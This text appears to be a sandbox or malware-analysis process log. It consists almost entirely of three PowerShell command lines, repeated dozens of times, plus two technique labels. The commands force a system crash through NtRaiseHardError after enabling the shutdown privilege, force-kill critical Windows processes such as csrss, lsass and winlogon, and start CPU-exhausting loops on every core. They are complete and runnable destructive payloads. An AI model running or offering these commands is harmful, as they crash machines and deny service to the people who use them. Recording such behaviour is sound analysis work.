C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
- Hide Artifacts: Ignore Process Interrupts
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
